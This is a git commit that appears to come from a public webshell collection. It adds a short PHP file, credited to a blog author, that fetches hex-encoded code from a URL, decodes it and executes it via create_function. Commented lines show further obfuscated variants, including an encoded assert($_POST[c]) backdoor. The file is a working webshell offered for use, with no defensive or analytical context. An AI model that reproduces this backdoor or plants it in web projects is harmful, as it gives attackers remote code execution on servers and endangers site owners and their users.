add webshell @tank96a 👍

author : tank96a
from : http://tank96a.github.io/article/2015/04/27/php-horse/
This commit is contained in:
tennc 2015-06-10 08:44:06 +08:00
parent 81dddc996b
commit 715dc2761b

10
php/tank96a/webshell.php Normal file
View file

@ -0,0 +1,10 @@
<?php
//webshell.php
//echo pack('H*', base_convert('0011000000111010', 2, 16));
//echo pack('H*', '61737365727428245f504f53545b635d293b');
//call_user_func(create_function(null,'echo (1+2);'));
//call_user_func(create_function(null,'assert($_POST[c]);'));
$url='http://localhost/DebugPHP/getcode.php?call=code';
call_user_func(create_function(null,pack('H*',file_get_contents($url))));
?>